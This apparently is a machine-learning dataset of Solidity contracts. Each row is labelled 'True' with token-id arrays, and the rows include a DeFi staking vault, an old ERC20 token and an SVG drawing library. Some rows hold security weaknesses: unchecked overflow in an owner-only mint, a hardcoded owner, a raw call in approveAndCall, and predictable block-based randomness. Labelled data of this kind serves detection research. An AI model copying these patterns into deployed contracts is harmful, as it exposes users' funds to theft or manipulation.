IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, amount); totalEarnedTokenDivs[msg.sender] = totalEarnedTokenDivs[msg.sender].add(amount); emit TokenRewardClaimed(msg.sender, amount); } function _claimCompoundDivs() private { updateAccount(msg.sender); uint exchangeRateCurrent = getExchangeRateCurrent(); uint convertedBalance = cTokenBalance[msg.sender].mul(exchangeRateCurrent).div(10**18); uint depositedBalance = depositTokenBalance[msg.sender]; uint amount = convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0; if (amount == 0) return; uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceived); totalEarnedCompoundDivs[msg.sender] = totalEarnedCompoundDivs[msg.sender].add(depositTokenReceived); emit CompoundRewardClaimed(msg.sender, depositTokenReceived); } function _claimPlatformTokenDivs(uint _amountOutMin_platformTokens) private { updateAccount(msg.sender); uint amount = platformTokenDivsBalance[msg.sender]; if (amount == 0) return; address[] memory path = new address[](3); path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS; path[1] = uniswapRouterV2.WETH(); path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uint estimatedAmountOut = uniswapRouterV2.getAmountsOut(amount, path)[2]; require(estimatedAmountOut >= _amountOutMin_platformTokens, "_claimPlatformTokenDivs: slippage error!"); if (IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)) < estimatedAmountOut) { return; } platformTokenDivsBalance[msg.sender] = 0; decreaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, estimatedAmountOut); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(msg.sender, estimatedAmountOut); totalEarnedPlatformTokenDivs[msg.sender] = totalEarnedPlatformTokenDivs[msg.sender].add(estimatedAmountOut); emit PlatformTokenRewardClaimed(msg.sender, estimatedAmountOut); } function claimEthDivs() external noContractsAllowed nonReentrant { _claimEthDivs(); } function claimTokenDivs() external noContractsAllowed nonReentrant { _claimTokenDivs(); } function claimCompoundDivs() external noContractsAllowed nonReentrant { _claimCompoundDivs(); } function claimPlatformTokenDivs(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant { _claimPlatformTokenDivs(_amountOutMin_platformTokens); } function claim(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant { _claimEthDivs(); _claimTokenDivs(); _claimCompoundDivs(); _claimPlatformTokenDivs(_amountOutMin_platformTokens); } function getExchangeRateCurrent() public returns (uint) { uint exchangeRateCurrent = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateCurrent(); return exchangeRateCurrent; } function getExchangeRateStored() public view returns (uint) { uint exchangeRateStored = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateStored(); return exchangeRateStored; } function deposit(uint amount, uint _amountOutMin_ethFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); updateAccount(msg.sender); // increment token balance! IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount); totalTokensDepositedByUser[msg.sender] = totalTokensDepositedByUser[msg.sender].add(amount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, 0); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).mint(amount) == 0, "mint failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint cTokenReceived = newCTokenBalance.sub(oldCTokenBalance); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].add(cTokenReceived); totalCTokens = totalCTokens.add(cTokenReceived); increaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenReceived); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].add(amount); totalDepositedTokens = totalDepositedTokens.add(amount); handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); holders.add(msg.sender); depositTime[msg.sender] = block.timestamp; emit Deposit(msg.sender, amount); } function withdraw(uint amount, uint _amountOutMin_ethFeeBuyBack, uint _amountOutMin_tokenFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!"); require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing."); updateAccount(msg.sender); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount); totalDepositedTokens = totalDepositedTokens.sub(amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100); uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee); handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline); handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); if (depositTokenBalance[msg.sender] == 0) { holders.remove(msg.sender); } emit Withdraw(msg.sender, depositTokenReceived); } // emergency withdraw without interacting with uniswap function emergencyWithdraw(uint amount) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!"); require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing."); updateAccount(msg.sender); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount); totalDepositedTokens = totalDepositedTokens.sub(amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100); uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee); // no uniswap interaction // handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline); // handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); if (depositTokenBalance[msg.sender] == 0) { holders.remove(msg.sender); } emit Withdraw(msg.sender, depositTokenReceived); } function handleFee(uint feeAmount, uint _amountOutMin_tokenFeeBuyBack, uint deadline) private { uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100); uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount); // handle distribution distributeTokenDivs(remainingFeeAmount); // handle buyback // --- swap token to platform token here! ---- IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), 0); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), buyBackFeeAmount); uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); address[] memory path = new address[](3); path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS; path[1] = uniswapRouterV2.WETH(); path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uniswapRouterV2.swapExactTokensForTokens(buyBackFeeAmount, _amountOutMin_tokenFeeBuyBack, path, address(this), deadline); uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived); // ---- end swap token to plaform tokens ----- } function handleEthFee(uint feeAmount, uint _amountOutMin_ethFeeBuyBack, uint deadline) private { require(feeAmount >= MIN_ETH_FEE_IN_WEI, "Insufficient ETH Fee!"); uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100); uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount); // handle distribution distributeEthDivs(remainingFeeAmount); // handle buyback // --- swap eth to platform token here! ---- uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = uniswapRouterV2.WETH(); path[1] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uniswapRouterV2.swapExactETHForTokens{value: buyBackFeeAmount}(_amountOutMin_ethFeeBuyBack, path, address(this), deadline); uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived); // ---- end swap eth to plaform tokens ----- } receive () external payable { // receive eth do nothing } function increaseTokenBalance(address token, uint amount) private { tokenBalances[token] = tokenBalances[token].add(amount); } function decreaseTokenBalance(address token, uint amount) private { tokenBalances[token] = tokenBalances[token].sub(amount); } function addPlatformTokenBalance(uint amount) external nonReentrant onlyOwner { increaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, amount); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount); emit PlatformTokenAdded(amount); } function claimExtraTokens(address token) external nonReentrant onlyOwner { if (token == address(0)) { uint ethDiff = address(this).balance.sub(tokenBalances[token]); msg.sender.transfer(ethDiff); return; } uint diff = IERC20(token).balanceOf(address(this)).sub(tokenBalances[token]); IERC20(token).safeTransfer(msg.sender, diff); } function claimAnyToken(address token, uint amount) external onlyOwner { require(now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Contract not expired yet!"); if (token == address(0)) { msg.sender.transfer(amount); return; } IERC20(token).safeTransfer(msg.sender, amount); } }	True	[ 101, 1013, 1013, 23772, 2595, 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1008, 1008, 1030, 16475, 5651, 1996, 24856, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.8; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token { / This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. / /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } / You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 ./ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken, Ownable { function () { //if ether is sent to this address, send it back. throw; } / Public variables of the token / / NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. / string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[0xd76618b352D0bFC8014Fc44BF31Bd0F947331660] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes owner = 0xd76618b352D0bFC8014Fc44BF31Bd0F947331660; // Set owner } / Approves and then calls the receiving contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] = balances[target] + mintedAmount; totalSupply = totalSupply + mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1022, 1025, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 4070, 2060, 2084, 1996, 3954, 1012, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4473, 1996, 2783, 3954, 2000, 4651, 2491, 1997, 1996, 3206, 2000, 1037, 2047, 12384, 2121, 1012, 1008, 1030, 11498, 2213, 2047, 12384, 2121, 1996, 4769, 2000, 4651, 6095, 2000, 1012, 1008, 1013, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1007, 1025, 6095, 6494, 3619, 7512, 5596, 1006, 3954, 1010, 2047, 12384, 2121, 1007, 1025, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 19204, 1063, 1013, 1008, 2023, 2003, 1037, 7263, 2689, 2000, 1996, 9413, 2278, 11387, 2918, 3115, 1012, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 2003, 2999, 2007, 1024, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 2023, 8073, 9005, 1037, 2131, 3334, 3853, 2005, 1996, 21948, 6279, 22086, 1012, 2023, 2003, 2333, 2000, 1996, 2918, 3206, 2144, 2270, 2131, 3334, 4972, 2024, 2025, 2747, 7843, 2004, 2019, 7375, 1997, 1996, 9844, 10061, 3853, 2011, 1996, 21624, 1012, 1008, 1013, 1013, 1013, 1013, 2561, 3815, 1997, 19204, 2015, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 1036, 19204, 2000, 1036, 1035, 2000, 1036, 2013, 1036, 5796, 2290, 1012, 4604, 2121, 1036, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2000, 1996, 4769, 1997, 1996, 7799, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3643, 1996, 3815, 1997, 19204, 2000, 2022, 4015, 1013, 1013, 1013, 1030, 2709, 3251, 1996, 4651, 2001, 3144, 2030, 2025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 1036, 19204, 2000, 1036, 1035, 2000, 1036, 2013, 1036, 1035, 2013, 1036, 2006, 1996, 4650, 2009, 2003, 4844, 2011, 1036, 1035, 2013, 1036, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2013, 1996, 4769, 1997, 1996, 4604, 2121, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2000, 1996, 4769, 1997, 1996, 7799, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3643, 1996, 3815, 1997, 19204, 2000, 2022, 4015, 1013, 1013, 1013, 1030, 2709, 3251, 1996, 4651, 2001, 3144, 2030, 2025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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// SPDX-License-Identifier: Mixed... pragma solidity ^0.8.0; library TypeConversions { // borrowed from https://github.com/provable-things/ethereum-api/issues/102 function uint2str(uint256 _i) internal pure returns (string memory str){ if (_i == 0){ return "0"; } uint256 j = _i; uint256 length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0){ bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } str = string(bstr); } } /// Copyright (c) Sterling Crispin /// All rights reserved. /// @title DrawSvgOps /// @notice Provides some drawing functions used in MESSAGE /// @author Sterling Crispin <[email protected]> library DrawSvgOps { string internal constant elli1 = '<ellipse cx="'; string internal constant elli2 = '" cy="'; string internal constant elli3 = '" rx="'; string internal constant elli4 = '" ry="'; string internal constant elli5 = '" stroke="mediumpurple" stroke-dasharray="'; string internal constant upgradeShapeEnd = '" fill-opacity="0"/>'; string internal constant strBlank = ' '; function rand(uint num) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, num))) % num; } function Ellipse(uint256 size) external view returns (string memory){ string memory xLoc = TypeConversions.uint2str(rand(size-1)); string memory yLoc = TypeConversions.uint2str(rand(size-2)); string memory output = string(abi.encodePacked( elli1,xLoc, elli2,yLoc, elli3,TypeConversions.uint2str(rand(size-3)), elli4,TypeConversions.uint2str(rand(size-3)))); output = string(abi.encodePacked( output, elli5,TypeConversions.uint2str(rand(7)+1),upgradeShapeEnd, elli1,xLoc, elli2,yLoc )); output = string(abi.encodePacked( output,elli3, TypeConversions.uint2str(rand(size-4)), elli4,TypeConversions.uint2str(rand(size-5)), elli5,TypeConversions.uint2str(rand(6)+1),upgradeShapeEnd )); output = string(abi.encodePacked( output, elli1,xLoc, elli2,yLoc, elli3,TypeConversions.uint2str(rand(size-5)), elli4)); output = string(abi.encodePacked( output,TypeConversions.uint2str(rand(size-6)), elli5,TypeConversions.uint2str(rand(4)+1),upgradeShapeEnd )); return output; } function Wiggle(uint256 size) external view returns (string memory){ string memory output = string(abi.encodePacked( '<path d="M ', TypeConversions.uint2str(rand(size-1)), strBlank, TypeConversions.uint2str(rand(size-2)), strBlank, 'Q ', TypeConversions.uint2str(rand(size-3)), strBlank)); output = string(abi.encodePacked(output, TypeConversions.uint2str(rand(size-4)), ', ', TypeConversions.uint2str(rand(size-5)), strBlank, TypeConversions.uint2str(rand(size-6)), strBlank, 'T ', TypeConversions.uint2str(rand(size-7)), strBlank, TypeConversions.uint2str(rand(size-8)), '"' )); output = string(abi.encodePacked(output, ' stroke="red" stroke-dasharray="',TypeConversions.uint2str(rand(7)+1), upgradeShapeEnd )); return output; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 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// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "../adapters/ConsumableAdapterV1.sol"; import "../interfaces/IMetaverseAdditionFacet.sol"; import "../libraries/LibOwnership.sol"; import "../libraries/marketplace/LibMetaverseConsumableAdapter.sol"; import "../libraries/marketplace/LibMarketplace.sol"; contract MetaverseAdditionFacet is IMetaverseAdditionFacet { /// @notice Adds a Metaverse to LandWorks. /// @dev Deploys a consumable adapter for each metaverse registry. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, true ); } /// @notice Adds a Metaverse to LandWorks. /// @dev Sets the metaverse registries as consumable adapters. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithoutAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, false ); } function addMetaverse( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers, bool withAdapters ) internal { require( _metaverseRegistries.length == _administrativeConsumers.length, "invalid metaverse registries and operators length" ); require( bytes(LibMarketplace.metaverseName(_metaverseId)).length == 0, "metaverse name already set" ); require( LibMarketplace.totalRegistries(_metaverseId) == 0, "metaverse registries already exist" ); LibOwnership.enforceIsContractOwner(); LibMarketplace.setMetaverseName(_metaverseId, _name); emit SetMetaverseName(_metaverseId, _name); for (uint256 i = 0; i < _metaverseRegistries.length; i++) { address metaverseRegistry = _metaverseRegistries[i]; address administrativeConsumer = _administrativeConsumers[i]; require( metaverseRegistry != address(0), "_metaverseRegistry must not be 0x0" ); LibMarketplace.setRegistry(_metaverseId, metaverseRegistry, true); emit SetRegistry(_metaverseId, metaverseRegistry, true); address adapter = metaverseRegistry; if (withAdapters) { adapter = address( new ConsumableAdapterV1(address(this), metaverseRegistry) ); } LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .consumableAdapters[metaverseRegistry] = adapter; emit 